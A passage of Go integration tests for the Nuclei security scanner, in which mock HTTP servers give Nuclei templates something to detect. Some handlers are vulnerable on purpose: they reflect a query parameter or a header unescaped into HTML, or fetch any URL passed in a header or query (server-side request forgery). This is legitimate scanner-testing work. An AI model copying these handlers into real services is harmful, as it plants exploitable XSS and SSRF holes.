headlessBasic struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *headlessBasic) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\t_, _ = fmt.Fprintf(w, \"<html><body>%s</body></html>\", r.URL.Query().Get(\"_\"))\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug, \"-headless\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype headlessSelfContained struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *headlessSelfContained) Execute(filePath string) error {\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, \"\", debug, \"-headless\", \"-var query=selfcontained\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype headlessLocal struct{}\n\n// Execute executes a test case and returns an error if occurred\n// in this testcases local network access is disabled\nfunc (h *headlessLocal) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\t_, _ = w.Write([]byte(\"<html><body></body></html>\"))\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\targs := []string{\"-t\", filePath, \"-u\", ts.URL, \"-headless\", \"-lna\"}\n\n\tresults, err := testutils.RunNucleiWithArgsAndGetResults(debug, args...)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(results, 0)\n}\n\ntype headlessHeaderActions struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *headlessHeaderActions) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\ttestValue := r.Header.Get(\"test\")\n\t\tif r.Header.Get(\"test\") != \"\" {\n\t\t\t_, _ = w.Write([]byte(\"<html><body>\" + testValue + \"</body></html>\"))\n\t\t}\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug, \"-headless\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype headlessExtractValues struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *headlessExtractValues) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\t_, _ = w.Write([]byte(\"<html><body><a href='/test.html'>test</a></body></html>\"))\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug, \"-headless\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype headlessPayloads struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *headlessPayloads) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\t_, _ = w.Write([]byte(\"<html><body>test</body></html>\"))\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug, \"-headless\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 4)\n}\n\ntype headlessVariables struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *headlessVariables) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\t_, _ = w.Write([]byte(\"<html><body>aGVsbG8=</body></html>\"))\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug, \"-headless\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype headlessFileUpload struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *headlessFileUpload) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\t_, _ = w.Write([]byte(`\n\t\t<!doctype html>\n\t\t\t<body>\n\t\t\t\t<form method=post enctype=multipart/form-data>\n\t\t\t\t<input type=file name=file>\n\t\t\t\t<input type=submit value=Upload>\n\t\t\t\t</form>\n\t\t\t</body>\n\t\t</html>\n\t\t`))\n\t})\n\trouter.POST(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tfile, _, err := r.FormFile(\"file\")\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\n\t\tdefer func() {\n\t\t\t_ = file.Close()\n\t\t}()\n\n\t\tcontent, err := io.ReadAll(file)\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\n\t\t_, _ = w.Write(content)\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug, \"-headless\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype headlessHeaderStatus struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *headlessHeaderStatus) Execute(filePath string) error {\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, \"https://scanme.sh\", debug, \"-headless\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype headlessFileUploadNegative struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *headlessFileUploadNegative) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\t_, _ = w.Write([]byte(`\n\t\t<!doctype html>\n\t\t\t<body>\n\t\t\t\t<form method=post enctype=multipart/form-data>\n\t\t\t\t<input type=file name=file>\n\t\t\t\t<input type=submit value=Upload>\n\t\t\t\t</form>\n\t\t\t</body>\n\t\t</html>\n\t\t`))\n\t})\n\trouter.POST(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tfile, _, err := r.FormFile(\"file\")\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\n\t\tdefer func() {\n\t\t\t_ = file.Close()\n\t\t}()\n\n\t\tcontent, err := io.ReadAll(file)\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\n\t\t_, _ = w.Write(content)\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\targs := []string{\"-t\", filePath, \"-u\", ts.URL, \"-headless\"}\n\n\tresults, err := testutils.RunNucleiWithArgsAndGetResults(debug, args...)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(results, 0)\n}\n"
  },
  {
    "path": "cmd/integration-test/http.go",
    "content": "package main\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"net/http/httputil\"\n\t\"os\"\n\t\"reflect\"\n\t\"regexp\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/julienschmidt/httprouter\"\n\t\"gopkg.in/yaml.v2\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n\tlogutil \"github.com/projectdiscovery/utils/log\"\n\tsliceutil \"github.com/projectdiscovery/utils/slice\"\n\tstringsutil \"github.com/projectdiscovery/utils/strings\"\n\tunitutils \"github.com/projectdiscovery/utils/unit\"\n)\n\nvar httpTestcases = []TestCaseInfo{\n\t// TODO: excluded due to parsing errors with console\n\t// \"http/raw-unsafe-request.yaml\":                  &httpRawUnsafeRequest{},\n\t{Path: \"protocols/http/get-headers.yaml\", TestCase: &httpGetHeaders{}},\n\t{Path: \"protocols/http/get-query-string.yaml\", TestCase: &httpGetQueryString{}},\n\t{Path: \"protocols/http/get-redirects.yaml\", TestCase: &httpGetRedirects{}},\n\t{Path: \"protocols/http/get-host-redirects.yaml\", TestCase: &httpGetHostRedirects{}},\n\t{Path: \"protocols/http/disable-redirects.yaml\", TestCase: &httpDisableRedirects{}},\n\t{Path: \"protocols/http/get.yaml\", TestCase: &httpGet{}},\n\t{Path: \"protocols/http/post-body.yaml\", TestCase: &httpPostBody{}},\n\t{Path: \"protocols/http/post-json-body.yaml\", TestCase: &httpPostJSONBody{}},\n\t{Path: \"protocols/http/post-multipart-body.yaml\", TestCase: &httpPostMultipartBody{}},\n\t{Path: \"protocols/http/raw-cookie-reuse.yaml\", TestCase: &httpRawCookieReuse{}},\n\t{Path: \"protocols/http/raw-dynamic-extractor.yaml\", TestCase: &httpRawDynamicExtractor{}},\n\t{Path: \"protocols/http/raw-get-query.yaml\", TestCase: &httpRawGetQuery{}},\n\t{Path: \"protocols/http/raw-get.yaml\", TestCase: &httpRawGet{}},\n\t{Path: \"protocols/http/raw-with-params.yaml\", TestCase: &httpRawWithParams{}},\n\t{Path: \"protocols/http/raw-unsafe-with-params.yaml\", TestCase: &httpRawWithParams{}}, // Not a typo, functionality is same as above\n\t{Path: \"protocols/http/raw-path-trailing-slash.yaml\", TestCase: &httpRawPathTrailingSlash{}},\n\t{Path: \"protocols/http/raw-payload.yaml\", TestCase: &httpRawPayload{}},\n\t{Path: \"protocols/http/raw-post-body.yaml\", TestCase: &httpRawPostBody{}},\n\t{Path: \"protocols/http/raw-unsafe-path.yaml\", TestCase: &httpRawUnsafePath{}},\n\t{Path: \"protocols/http/http-paths.yaml\", TestCase: &httpPaths{}},\n\t{Path: \"protocols/http/request-condition.yaml\", TestCase: &httpRequestCondition{}},\n\t{Path: \"protocols/http/request-condition-new.yaml\", TestCase: &httpRequestCondition{}},\n\t{Path: \"protocols/http/self-contained.yaml\", TestCase: &httpRequestSelfContained{}},\n\t{Path: \"protocols/http/self-contained-with-path.yaml\", TestCase: &httpRequestSelfContained{}}, // Not a typo, functionality is same as above\n\t{Path: \"protocols/http/self-contained-with-params.yaml\", TestCase: &httpRequestSelfContainedWithParams{}},\n\t{Path: \"protocols/http/self-contained-file-input.yaml\", TestCase: &httpRequestSelfContainedFileInput{}},\n\t{Path: \"protocols/http/get-case-insensitive.yaml\", TestCase: &httpGetCaseInsensitive{}},\n\t{Path: \"protocols/http/get.yaml,protocols/http/get-case-insensitive.yaml\", TestCase: &httpGetCaseInsensitiveCluster{}},\n\t{Path: \"protocols/http/get-redirects-chain-headers.yaml\", TestCase: &httpGetRedirectsChainHeaders{}},\n\t{Path: \"protocols/http/dsl-matcher-variable.yaml\", TestCase: &httpDSLVariable{}},\n\t{Path: \"protocols/http/dsl-functions.yaml\", TestCase: &httpDSLFunctions{}},\n\t{Path: \"protocols/http/race-simple.yaml\", TestCase: &httpRaceSimple{}},\n\t{Path: \"protocols/http/race-multiple.yaml\", TestCase: &httpRaceMultiple{}},\n\t{Path: \"protocols/http/race-condition-with-delay.yaml\", TestCase: &httpRaceWithDelay{}},\n\t{Path: \"protocols/http/race-with-variables.yaml\", TestCase: &httpRaceWithVariables{}},\n\t{Path: \"protocols/http/stop-at-first-match.yaml\", TestCase: &httpStopAtFirstMatch{}},\n\t{Path: \"protocols/http/stop-at-first-match-with-extractors.yaml\", TestCase: &httpStopAtFirstMatchWithExtractors{}},\n\t{Path: \"protocols/http/variables.yaml\", TestCase: &httpVariables{}},\n\t{Path: \"protocols/http/variables-threads-previous.yaml\", TestCase: &httpVariablesThreadsPrevious{}},\n\t{Path: \"protocols/http/variable-dsl-function.yaml\", TestCase: &httpVariableDSLFunction{}},\n\t{Path: \"protocols/http/get-override-sni.yaml\", TestCase: &httpSniAnnotation{}},\n\t{Path: \"protocols/http/get-sni.yaml\", TestCase: &customCLISNI{}},\n\t{Path: \"protocols/http/redirect-match-url.yaml\", TestCase: &httpRedirectMatchURL{}},\n\t{Path: \"protocols/http/get-sni-unsafe.yaml\", TestCase: &customCLISNIUnsafe{}},\n\t{Path: \"protocols/http/annotation-timeout.yaml\", TestCase: &annotationTimeout{}},\n\t{Path: \"protocols/http/custom-attack-type.yaml\", TestCase: &customAttackType{}},\n\t{Path: \"protocols/http/get-all-ips.yaml\", TestCase: &scanAllIPS{}},\n\t{Path: \"protocols/http/get-without-scheme.yaml\", TestCase: &httpGetWithoutScheme{}},\n\t{Path: \"protocols/http/cl-body-without-header.yaml\", TestCase: &httpCLBodyWithoutHeader{}},\n\t{Path: \"protocols/http/cl-body-with-header.yaml\", TestCase: &httpCLBodyWithHeader{}},\n\t{Path: \"protocols/http/cli-with-constants.yaml\", TestCase: &ConstantWithCliVar{}},\n\t{Path: \"protocols/http/constants-with-threads.yaml\", TestCase: &constantsWithThreads{}},\n\t{Path: \"protocols/http/matcher-status.yaml\", TestCase: &matcherStatusTest{}},\n\t{Path: \"protocols/http/disable-path-automerge.yaml\", TestCase: &httpDisablePathAutomerge{}},\n\t{Path: \"protocols/http/http-preprocessor.yaml\", TestCase: &httpPreprocessor{}},\n\t{Path: \"protocols/http/multi-request.yaml\", TestCase: &httpMultiRequest{}},\n\t{Path: \"protocols/http/http-matcher-extractor-dy-extractor.yaml\", TestCase: &httpMatcherExtractorDynamicExtractor{}},\n\t{Path: \"protocols/http/multi-http-var-sharing.yaml\", TestCase: &httpMultiVarSharing{}},\n\t{Path: \"protocols/http/response-data-literal-reuse.yaml\", TestCase: &httpResponseDataLiteralReuse{}},\n\t{Path: \"protocols/http/raw-path-single-slash.yaml\", TestCase: &httpRawPathSingleSlash{}},\n\t{Path: \"protocols/http/raw-unsafe-path-single-slash.yaml\", TestCase: &httpRawUnsafePathSingleSlash{}},\n}\n\ntype httpMultiVarSharing struct{}\n\nfunc (h *httpMultiVarSharing) Execute(filePath string) error {\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, \"https://scanme.sh\", debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(results, 1)\n}\n\ntype httpResponseDataLiteralReuse struct{}\n\nfunc (h *httpResponseDataLiteralReuse) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\t_, _ = fmt.Fprint(w, `{{md5(\"Hello\")}}`)\n\t})\n\trouter.GET(\"/echo\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tif r.URL.Query().Get(\"x\") != `{{md5(\"Hello\")}}` {\n\t\t\tw.WriteHeader(http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\t\tw.WriteHeader(http.StatusOK)\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype httpMatcherExtractorDynamicExtractor struct{}\n\nfunc (h *httpMatcherExtractorDynamicExtractor) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\thtml := `<!DOCTYPE html>\n<html lang=\"en\">\n<body>\n    <a href=\"/domains\">Domains</a>\n</body>\n</html>`\n\t\t_, _ = fmt.Fprint(w, html)\n\t})\n\trouter.GET(\"/domains\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\thtml := `<!DOCTYPE html>\n\t\t<html lang=\"en\">\n\t\t<head>\n\t\t\t<title>Dynamic Extractor Test</title>\n\t\t</head>\n\t\t<body>\n\t\t\t<!-- The content of the title tag matches the regex pattern for both the extractor and matcher for 'title' -->\n\t\t</body>\n\t\t</html>\n\t\t`\n\t\t_, _ = fmt.Fprint(w, html)\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype httpInteractshRequest struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *httpInteractshRequest) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tvalue := r.Header.Get(\"url\")\n\t\tif value != \"\" {\n\t\t\tif resp, _ := retryablehttp.DefaultClient().Get(value); resp != nil {\n\t\t\t\t_ = resp.Body.Close()\n\t\t\t}\n\t\t}\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1, 2)\n}\n\ntype httpInteractshWithPayloadsRequest struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *httpInteractshWithPayloadsRequest) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tvalue := r.Header.Get(\"url\")\n\t\tif value != \"\" {\n\t\t\tif resp, _ := retryablehttp.DefaultClient().Get(value); resp != nil {\n\t\t\t\t_ = resp.Body.Close()\n\t\t\t}\n\t\t}\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1, 3)\n}\n\ntype httpDefaultMatcherCondition struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (d *httpDefaultMatcherCondition) Execute(filePath string) error {\n\t// to simulate matcher-condition `or`\n\t// - template should be run twice and vulnerable server should send response that fits for that specific run\n\trouter := httprouter.New()\n\tvar routerErr error\n\t// Server endpoint where only interactsh matcher is successful and status code is not 200\n\trouter.GET(\"/interactsh/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tvalue := r.URL.Query().Get(\"url\")\n\t\tif value != \"\" {\n\t\t\tif _, err := retryablehttp.DefaultClient().Get(\"https://\" + value); err != nil {\n\t\t\t\trouterErr = err\n\t\t\t}\n\t\t}\n\t\tw.WriteHeader(http.StatusNotFound)\n\t})\n\t// Server endpoint where url is not probed but sends a 200 status code\n\trouter.GET(\"/status/\", func(w http.ResponseWriter, r *http.Request, p httprouter.Params) {\n\t\tw.WriteHeader(http.StatusOK)\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL+\"/status\", debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif err := expectResultsCount(results, 1); err != nil {\n\t\treturn err\n\t}\n\n\tresults, err = testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL+\"/interactsh\", debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif routerErr != nil {\n\t\treturn errkit.Wrap(routerErr, \"failed to send http request to interactsh server\")\n\t}\n\tif err := expectResultsCount(results, 1); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}\n\ntype httpInteractshStopAtFirstMatchRequest struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *httpInteractshStopAtFirstMatchRequest) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tvalue := r.Header.Get(\"url\")\n\t\tif value != \"\" {\n\t\t\tif resp, _ := retryablehttp.DefaultClient().Get(value); resp != nil {\n\t\t\t\t_ = resp.Body.Close()\n\t\t\t}\n\t\t}\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// polling is asynchronous, so the interactions may be retrieved after the first request\n\treturn expectResultsCount(results, 1)\n}\n\ntype httpGetHeaders struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *httpGetHeaders) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tif strings.EqualFold(r.Header.Get(\"test\"), \"nuclei\") {\n\t\t\t_, _ = fmt.Fprintf(w, \"This is test headers matcher text\")\n\t\t}\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype httpGetQueryString struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *httpGetQueryString) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tif strings.EqualFold(r.URL.Query().Get(\"test\"), \"nuclei\") {\n\t\t\t_, _ = fmt.Fprintf(w, \"This is test querystring matcher text\")\n\t\t}\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype httpGetRedirects struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *httpGetRedirects) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\thttp.Redirect(w, r, \"/redirected\", http.StatusFound)\n\t})\n\trouter.GET(\"/redirected\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\t_, _ = fmt.Fprintf(w, \"This is test redirects matcher text\")\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype httpGetHostRedirects struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *httpGetHostRedirects) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\thttp.Redirect(w, r, \"/redirected1\", http.StatusFound)\n\t})\n\trouter.GET(\"/redirected1\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\thttp.Redirect(w, r, \"redirected2\", http.StatusFound)\n\t})\n\trouter.GET(\"/redirected2\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\thttp.Redirect(w, r, \"/redirected3\", http.StatusFound)\n\t})\n\trouter.GET(\"/redirected3\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\thttp.Redirect(w, r, \"https://scanme.sh\", http.StatusTemporaryRedirect)\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype httpDisableRedirects struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *httpDisableRedirects) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\thttp.Redirect(w, r, \"/redirected\", http.StatusMovedPermanently)\n\t})\n\trouter.GET(\"/redirected\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\t_, _ = fmt.Fprintf(w, \"This is test redirects matcher text\")\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug, \"-dr\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 0)\n}\n\ntype httpGet struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *httpGet) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\t_, _ = fmt.Fprintf(w, \"This is test matcher text\")\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype httpDSLVariable struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *httpDSLVariable) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\t_, _ = fmt.Fprintf(w, \"This is test matcher text\")\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 5)\n}\n\ntype httpDSLFunctions struct{}\n\nfunc (h *httpDSLFunctions) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\trequest, err := httputil.DumpRequest(r, true)\n\t\tif err != nil {\n\t\t\t_, _ = fmt.Fprint(w, err.Error())\n\t\t} else {\n\t\t\t_, _ = fmt.Fprint(w, string(request))\n\t\t}\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug, \"-nc\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif err := expectResultsCount(results, 1); err != nil {\n\t\treturn err\n\t}\n\n\t// get result part\n\tresultPart, err := stringsutil.After(results[0], ts.URL)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// remove additional characters till the first valid result and ignore last ] which doesn't alter the total count\n\tresultPart = stringsutil.TrimPrefixAny(resultPart, \"/\", \" \", \"[\")\n\n\textracted := strings.Split(resultPart, \",\")\n\tnumberOfDslFunctions := 88\n\tif len(extracted) != numberOfDslFunctions {\n\t\treturn errors.New(\"incorrect number of results\")\n\t}\n\n\tfor _, header := range extracted {\n\t\theader = strings.Trim(header, `\"`)\n\t\tparts := strings.Split(header, \": \")\n\t\tindex, err := strconv.Atoi(parts[0])\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif index < 0 || index > numberOfDslFunctions {\n\t\t\treturn fmt.Errorf(\"incorrect header index found: %d\", index)\n\t\t}\n\t\tif strings.TrimSpace(parts[1]) == \"\" {\n\t\t\treturn fmt.Errorf(\"the DSL expression with index %d was not evaluated correctly\", index)\n\t\t}\n\t}\n\n\treturn nil\n}\n\ntype httpPostBody struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *httpPostBody) Execute(filePath string) error {\n\trouter := httprouter.New()\n\tvar routerErr error\n\n\trouter.POST(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tif err := r.ParseForm(); err != nil {\n\t\t\trouterErr = err\n\t\t\treturn\n\t\t}\n\t\tif strings.EqualFold(r.Form.Get(\"username\"), \"test\") && strings.EqualFold(r.Form.Get(\"password\"), \"nuclei\") {\n\t\t\t_, _ = fmt.Fprintf(w, \"This is test post-body matcher text\")\n\t\t}\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif routerErr != nil {\n\t\treturn routerErr\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype httpPostJSONBody struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *httpPostJSONBody) Execute(filePath string) error {\n\trouter := httprouter.New()\n\tvar routerErr error\n\n\trouter.POST(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\ttype doc struct {\n\t\t\tUsername string `json:\"username\"`\n\t\t\tPassword string `json:\"password\"`\n\t\t}\n\t\tobj := &doc{}\n\t\tif err := json.NewDecoder(r.Body).Decode(obj); err != nil {\n\t\t\trouterErr = err\n\t\t\treturn\n\t\t}\n\t\tif strings.EqualFold(obj.Username, \"test\") && strings.EqualFold(obj.Password, \"nuclei\") {\n\t\t\t_, _ = fmt.Fprintf(w, \"This is test post-json-body matcher text\")\n\t\t}\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif routerErr != nil {\n\t\treturn routerErr\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype httpPostMultipartBody struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *httpPostMultipartBody) Execute(filePath string) error {\n\trouter := 